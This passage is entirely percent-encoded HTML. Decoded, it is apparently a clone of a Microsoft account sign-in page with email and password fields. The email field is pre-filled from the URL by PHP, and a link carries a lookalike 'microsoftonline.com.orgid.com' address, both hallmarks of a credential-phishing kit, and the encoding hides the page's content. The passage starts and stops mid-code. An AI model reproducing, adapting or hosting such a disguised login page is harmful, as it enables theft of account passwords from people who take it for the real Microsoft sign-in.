74%65%64%2D%75%73%65%72%6E%61%6D%65%2D%76%69%65%77%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%45%72%72%6F%72%3A%20%69%6E%69%74%69%61%6C%45%72%72%6F%72%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%73%49%6E%69%74%69%61%6C%56%69%65%77%3A%20%69%73%49%6E%69%74%69%61%6C%53%74%61%74%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%69%73%70%6C%61%79%4E%61%6D%65%3A%20%73%68%61%72%65%64%44%61%74%61%2E%64%69%73%70%6C%61%79%4E%61%6D%65%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%72%65%66%69%6C%6C%4E%61%6D%65%73%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%70%72%65%66%69%6C%6C%4E%61%6D%65%73%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%66%6C%6F%77%54%6F%6B%65%6E%3A%20%73%68%61%72%65%64%44%61%74%61%2E%66%6C%6F%77%54%6F%6B%65%6E%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%66%72%65%73%68%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%52%65%66%72%65%73%68%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%64%69%72%65%63%74%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%52%65%64%69%72%65%63%74%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%50%65%6E%64%69%6E%67%52%65%71%75%65%73%74%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%53%65%74%50%65%6E%64%69%6E%67%52%65%71%75%65%73%74%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%68%6F%77%4C%65%61%72%6E%4D%6F%72%65%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%6C%65%61%72%6E%4D%6F%72%65%5F%6F%6E%53%68%6F%77%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%67%69%73%74%65%72%44%69%61%6C%6F%67%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%52%65%67%69%73%74%65%72%44%69%61%6C%6F%67%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%6E%72%65%67%69%73%74%65%72%44%69%61%6C%6F%67%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%55%6E%72%65%67%69%73%74%65%72%44%69%61%6C%6F%67%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%68%6F%77%44%69%61%6C%6F%67%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%53%68%6F%77%44%69%61%6C%6F%67%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%68%65%61%64%65%72%2D%63%6F%6E%74%72%6F%6C%27%2C%20%70%61%72%61%6D%73%3A%20%7B%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%72%6F%77%20%74%65%78%74%2D%74%69%74%6C%65%22%20%69%64%3D%22%6C%6F%67%69%6E%48%65%61%64%65%72%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%72%6F%6C%65%3D%22%68%65%61%64%69%6E%67%22%20%61%72%69%61%2D%6C%65%76%65%6C%3D%22%31%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%74%65%78%74%3A%20%74%69%74%6C%65%22%3E%53%69%67%6E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%6E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%69%73%53%75%62%74%69%74%6C%65%56%69%73%69%62%6C%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%70%61%67%65%44%65%73%63%72%69%70%74%69%6F%6E%20%26%26%20%21%73%76%72%2E%66%48%69%64%65%4C%6F%67%69%6E%44%65%73%63%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%72%6F%77%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%72%6F%6C%65%3D%22%61%6C%65%72%74%22%20%61%72%69%61%2D%6C%69%76%65%3D%22%61%73%73%65%72%74%69%76%65%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%75%73%65%72%6E%61%6D%65%54%65%78%74%62%6F%78%2E%65%72%72%6F%72%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%61%6C%65%72%74%20%61%6C%65%72%74%2D%65%72%72%6F%72%20%63%6F%6C%2D%6D%64%2D%32%34%20%61%6C%65%72%74%5F%6D%73%67%5F%79%78%71%20%61%6C%65%72%74%5F%65%6D%61%69%6C%5F%73%65%63%74%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%3B%22%20%69%64%3D%22%75%73%65%72%6E%61%6D%65%45%72%72%6F%72%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%68%74%6D%6C%57%69%74%68%42%69%6E%64%69%6E%67%73%3A%20%75%73%65%72%6E%61%6D%65%54%65%78%74%62%6F%78%2E%65%72%72%6F%72%2C%20%20%20%20%20%20%20%20%20%20%20%20%63%68%69%6C%64%42%69%6E%64%69%6E%67%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%69%64%41%5F%50%57%44%5F%53%69%67%6E%55%70%27%3A%20%7B%20%68%72%65%66%3A%20%73%76%72%2E%75%72%6C%53%69%67%6E%55%70%2C%20%63%6C%69%63%6B%3A%20%73%69%67%6E%75%70%5F%6F%6E%43%6C%69%63%6B%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%6F%74%68%65%72%49%64%70%4C%6F%67%69%6E%27%3A%20%7B%20%68%72%65%66%3A%20%73%76%72%2E%75%72%6C%47%6F%54%6F%41%41%44%45%72%72%6F%72%2C%20%63%6C%69%63%6B%3A%20%6F%74%68%65%72%49%64%70%4C%6F%67%69%6E%5F%6F%6E%43%6C%69%63%6B%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%57%65%20%63%6F%75%6C%64%6E%27%74%20%66%69%6E%64%20%61%6E%20%61%63%63%6F%75%6E%74%20%77%69%74%68%20%74%68%61%74%20%75%73%65%72%6E%61%6D%65%2E%20%54%72%79%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6E%6F%74%68%65%72%2C%20%6F%72%20%3C%61%20%69%64%3D%22%69%64%41%5F%50%57%44%5F%53%69%67%6E%55%70%22%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%6C%6F%67%69%6E%2E%6C%69%76%65%2E%63%6F%6D%2F%6F%61%75%74%68%32%30%5F%61%75%74%68%6F%72%69%7A%65%2E%73%72%66%3F%72%65%73%70%6F%6E%73%65%5F%74%79%70%65%3D%63%6F%64%65%26%61%6D%70%3B%63%6C%69%65%6E%74%5F%69%64%3D%35%31%34%38%33%33%34%32%2D%30%38%35%63%2D%34%64%38%36%2D%62%66%38%38%2D%63%66%35%30%63%37%32%35%32%30%37%38%26%61%6D%70%3B%73%63%6F%70%65%3D%6F%70%65%6E%69%64%2B%70%72%6F%66%69%6C%65%2B%65%6D%61%69%6C%2B%6F%66%66%6C%69%6E%65%5F%61%63%63%65%73%73%26%61%6D%70%3B%72%65%73%70%6F%6E%73%65%5F%6D%6F%64%65%3D%66%6F%72%6D%5F%70%6F%73%74%26%61%6D%70%3B%72%65%64%69%72%65%63%74%5F%75%72%69%3D%68%74%74%70%73%25%33%61%25%32%66%25%32%66%6C%6F%67%69%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%25%32%66%63%6F%6D%6D%6F%6E%25%32%66%66%65%64%65%72%61%74%69%6F%6E%25%32%66%6F%61%75%74%68%32%26%61%6D%70%3B%73%74%61%74%65%3D%72%51%49%49%41%65%4E%69%73%4E%4C%4A%4B%43%6B%70%4B%4C%62%53%31%79%5F%49%4C%79%70%4A%7A%4E%48%4C%7A%55%77%75%79%69%5F%4F%54%79%76%4A%7A%38%76%4A%7A%45%76%56%53%38%37%50%31%63%73%76%53%73%39%4D%41%62%47%4B%68%4C%67%45%35%4E%2D%48%73%52%6E%61%7A%33%47%5A%33%4E%62%30%6F%30%61%41%6A%32%4D%57%49%32%64%38%54%6D%59%5A%57%4F%55%71%52%6D%58%43%78%75%6C%66%59%47%52%38%77%63%68%34%69%30%6E%51%76%79%6A%64%4D%79%57%38%32%43%30%31%4A%62%55%6F%73%53%51%7A%50%2D%38%43%69%38%41%72%46%68%34%44%5A%69%73%4F%44%69%34%42%42%67%6B%47%42%59%59%66%4C%49%79%4C%57%49%47%32%52%69%6B%30%58%31%36%5F%64%62%58%54%72%71%41%55%75%59%51%65%5A%34%5A%54%72%50%70%52%56%64%34%57%2D%62%37%6D%6D%56%34%70%70%76%35%68%6C%57%36%2D%6C%71%61%6C%75%52%59%57%48%72%6C%35%58%74%70%70%42%6B%58%68%51%55%55%68%6D%51%45%6C%5A%57%56%47%41%61%47%42%74%71%5A%57%68%68%50%59%68%43%61%77%4D%5A%31%69%59%5F%6A%41%78%74%6A%42%7A%6E%43%41%6B%5F%45%57%6C%34%69%52%67%61%47%6C%72%6F%47%52%72%6F%47%4A%67%6F%47%6C%6C%5A%47%52%6C%62%46%52%46%41%41%31%26%61%6D%70%3B%65%73%74%73%66%65%64%3D%31%26%61%6D%70%3B%75%61%69%64%3D%30%36%35%36%65%66%31%66%33%66%33%31%34%34%39%63%39%33%38%36%38%32%66%38%37%63%31%30%30%65%30%38%26%61%6D%70%3B%73%69%67%6E%75%70%3D%31%26%61%6D%70%3B%6C%77%3D%31%26%61%6D%70%3B%66%6C%3D%65%61%73%69%32%26%61%6D%70%3B%66%63%69%3D%68%74%74%70%73%25%33%61%25%32%66%25%32%66%70%6F%72%74%61%6C%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%2E%6F%72%67%69%64%2E%63%6F%6D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%67%65%74%20%61%20%6E%65%77%20%4D%69%63%72%6F%73%6F%66%74%20%61%63%63%6F%75%6E%74%20%3C%2F%61%3E%2E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%20%63%6F%6C%2D%6D%64%2D%32%34%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%70%72%65%66%69%6C%6C%4E%61%6D%65%73%28%29%2E%6C%65%6E%67%74%68%20%3E%20%31%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%6E%6F%74%3A%20%70%72%65%66%69%6C%6C%4E%61%6D%65%73%28%29%2E%6C%65%6E%67%74%68%20%3E%20%31%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%70%6C%61%63%65%68%6F%6C%64%65%72%43%6F%6E%74%61%69%6E%65%72%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%70%6C%61%63%65%68%6F%6C%64%65%72%2D%74%65%78%74%62%6F%78%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%75%62%6C%69%63%4D%65%74%68%6F%64%73%3A%20%75%73%65%72%6E%61%6D%65%54%65%78%74%62%6F%78%2E%70%6C%61%63%65%68%6F%6C%64%65%72%54%65%78%74%62%6F%78%4D%65%74%68%6F%64%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%69%6E%74%54%65%78%74%3A%20%74%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2E%55%73%65%72%49%64%4C%61%62%65%6C%20%7C%7C%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%45%6D%61%69%6C%5F%45%78%61%6D%70%6C%65%27%5D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%69%6E%74%43%73%73%3A%20%27%70%6C%61%63%65%68%6F%6C%64%65%72%27%20%2B%20%28%21%73%76%72%2E%66%41%6C%6C%6F%77%50%68%6F%6E%65%53%69%67%6E%49%6E%20%3F%20%27%20%6C%74%72%5F%6F%76%65%72%72%69%64%65%27%20%3A%20%27%27%29%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%70%64%61%74%65%46%6F%63%75%73%3A%20%75%73%65%72%6E%61%6D%65%54%65%78%74%62%6F%78%2E%74%65%78%74%62%6F%78%5F%6F%6E%55%70%64%61%74%65%46%6F%63%75%73%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%77%69%74%68%50%72%6F%70%65%72%74%69%65%73%3A%20%7B%20%27%24%70%6C%61%63%65%68%6F%6C%64%65%72%54%65%78%74%27%3A%20%70%6C%61%63%65%68%6F%6C%64%65%72%54%65%78%74%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%74%65%6D%70%6C%61%74%65%3A%20%7B%20%6E%6F%64%65%73%3A%20%24%63%6F%6D%70%6F%6E%65%6E%74%54%65%6D%70%6C%61%74%65%4E%6F%64%65%73%2C%20%64%61%74%61%3A%20%24%70%61%72%65%6E%74%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%73%70%61%6E%3E%3C%2F%73%70%61%6E%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%6C%6F%67%69%6E%66%6D%74%22%20%69%64%3D%22%69%30%31%31%36%22%20%6D%61%78%6C%65%6E%67%74%68%3D%22%31%31%33%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%63%6F%6E%74%72%6F%6C%20%6C%74%72%5F%6F%76%65%72%72%69%64%65%22%20%61%72%69%61%2D%64%65%73%63%72%69%62%65%64%62%79%3D%22%75%73%65%72%6E%61%6D%65%45%72%72%6F%72%20%6C%6F%67%69%6E%48%65%61%64%65%72%20%6C%6F%67%69%6E%44%65%73%63%72%69%70%74%69%6F%6E%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%2D%72%65%71%75%69%72%65%64%3D%22%74%72%75%65%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%74%65%78%74%49%6E%70%75%74%3A%20%75%73%65%72%6E%61%6D%65%54%65%78%74%62%6F%78%2E%76%61%6C%75%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%61%73%46%6F%63%75%73%45%78%3A%20%75%73%65%72%6E%61%6D%65%54%65%78%74%62%6F%78%2E%66%6F%63%75%73%65%64%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%6C%61%63%65%68%6F%6C%64%65%72%3A%20%24%70%6C%61%63%65%68%6F%6C%64%65%72%54%65%78%74%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%4C%61%62%65%6C%3A%20%74%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2E%55%73%65%72%49%64%4C%61%62%65%6C%20%7C%7C%20%73%74%72%5B%27%43%54%5F%50%57%44%5F%53%54%52%5F%55%73%65%72%6E%61%6D%65%5F%41%72%69%61%4C%61%62%65%6C%27%5D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%73%73%3A%20%7B%20%27%68%61%73%2D%65%72%72%6F%72%27%3A%20%75%73%65%72%6E%61%6D%65%54%65%78%74%62%6F%78%2E%65%72%72%6F%72%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%74%74%72%3A%20%69%6E%70%75%74%41%74%74%72%69%62%75%74%65%73%22%20%70%6C%61%63%65%68%6F%6C%64%65%72%3D%22%45%6D%61%69%6C%2C%20%70%68%6F%6E%65%2C%20%6F%72%20%53%6B%79%70%65%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%2D%6C%61%62%65%6C%3D%22%45%6E%74%65%72%20%79%6F%75%72%20%65%6D%61%69%6C%2C%20%70%68%6F%6E%65%2C%20%6F%72%20%53%6B%79%70%65%2E%22%20%76%61%6C%75%65%3D%22%3C%3F%3D%24%5F%47%45%54%5B%65%6D%61%69%6C%5D%3F%3E%22%20%74%79%70%65%3D%22%65%6D%61%69%6C%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%6C%61%6E%67%3D%22%65%6E%22%3E%20%3C%69%6E%70%75%74%20%6E%61%6D%65%3D%22%70%61%73%73%77%64%22%20%69%64%3D%22%69%30%31%31%38%22%20%61%75%74%6F%63%6F%6D%70%6C%65%74%65%3D%22%6F%66%66%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%6D%6F%76%65%4F%66%66%53%63%72%65%65%6E%2C%20%74%65%78%74%49%6E%70%75%74%3A%20%70%61%73%73%77%6F%72%64%42%72%6F%77%73%65%72%50%72%65%66%69%6C%6C%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%6D%6F%76%65%4F%66%66%53%63%72%65%65%6E%22%20%74%61%62%69%6E%64%65%78%3D%22%2D%31%22%20%61%72%69%61%2D%68%69%64%64%65%6E%3D%22%74%72%75%65%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%79%70%65%3D%22%70%61%73%73%77%6F%72%64%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%6E%6F%74%3A%20%75%73%65%50%6C%61%63%65%68%6F%6C%64%65%72%41%74%74%72%69%62%75%74%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%69%6E%76%65%72%74%4F%72%64%65%72%3A%20%73%76%72%2E%66%52%65%70%6F%73%69%74%69%6F%6E%46%6F%6F%74%65%72%42%75%74%74%6F%6E%73%2C%20%63%73%73%3A%20%7B%20%27%70%6F%73%69%74%69%6F%6E%2D%62%75%74%74%6F%6E%73%27%3A%20%21%74%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2E%42%6F%69%6C%65%72%50%6C%61%74%65%54%65%78%74%20%7D%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%61%73%73%3D%22%70%6F%73%69%74%69%6F%6E%2D%62%75%74%74%6F%6E%73%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%72%6F%77%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%6F%6C%2D%6D%64%2D%32%34%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%74%65%78%74%2D%31%33%20%61%63%74%69%6F%6E%2D%6C%69%6E%6B%73%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%66%43%42%53%68%6F%77%53%69%67%6E%55%70%20%26%26%20%21%73%76%72%2E%66%44%6F%49%66%45%78%69%73%74%73%20%26%26%20%21%73%76%72%2E%66%43%68%65%63%6B%50%72%6F%6F%66%46%6F%72%41%6C%69%61%73%65%73%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6F%72%6D%2D%67%72%6F%75%70%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%74%6D%6C%57%69%74%68%42%69%6E%64%69%6E%67%73%3A%20%68%74%6D%6C%5B%27%57%46%5F%53%54%52%5F%53%69%67%6E%55%70%4C%69%6E%6B%5F%54%65%78%74%27%5D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%68%69%6C%64%42%69%6E%64%69%6E%67%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%73%69%67%6E%75%70%27%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%72%65%66%3A%20%73%76%72%2E%75%72%6C%53%69%67%6E%55%70%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%72%69%61%4C%61%62%65%6C%3A%20%73%74%72%5B%27%57%46%5F%53%54%52%5F%53%69%67%6E%75%70%4C%69%6E%6B%5F%41%72%69%61%4C%61%62%65%6C%5F%54%65%78%74%27%5D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6C%69%63%6B%3A%20%73%69%67%6E%75%70%5F%6F%6E%43%6C%69%63%6B%20%7D%20%7D%22%3E%4E%6F%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%63%63%6F%75%6E%74%3F%20%3C%61%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%6C%6F%67%69%6E%2E%6C%69%76%65%2E%63%6F%6D%2F%6F%61%75%74%68%32%30%5F%61%75%74%68%6F%72%69%7A%65%2E%73%72%66%3F%72%65%73%70%6F%6E%73%65%5F%74%79%70%65%3D%63%6F%64%65%26%61%6D%70%3B%63%6C%69%65%6E%74%5F%69%64%3D%35%31%34%38%33%33%34%32%2D%30%38%35%63%2D%34%64%38%36%2D%62%66%38%38%2D%63%66%35%30%63%37%32%35%32%30%37%38%26%61%6D%70%3B%73%63%6F%70%65%3D%6F%70%65%6E%69%64%2B%70%72%6F%66%69%6C%65%2B%65%6D%61%69%6C%2B%6F%66%66%6C%69%6E%65%5F%61%63%63%65%73%73%26%61%6D%70%3B%72%65%73%70%6F%6E%73%65%5F%6D%6F%64%65%3D%66%6F%72%6D%5F%70%6F%73%74%26%61%6D%70%3B%72%65%64%69%72%65%63%74%5F%75%72%69%3D%68%74%74%70%73%25%33%61%25%32%66%25%32%66%6C%6F%67%69%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%25%32%66%63%6F%6D%6D%6F%6E%25%32%66%66%65%64%65%72%61%74%69%6F%6E%25%32%66%6F%61%75%74%68%32%26%61%6D%70%3B%73%74%61%74%65%3D%72%51%49%49%41%65%4E%69%73%4E%4C%4A%4B%43%6B%70%4B%4C%62%53%31%79%5F%49%4C%79%70%4A%7A%4E%48%4C%7A%55%77%75%79%69%5F%4F%54%79%76%4A%7A%38%76%4A%7A%45%76%56%53%38%37%50%31%63%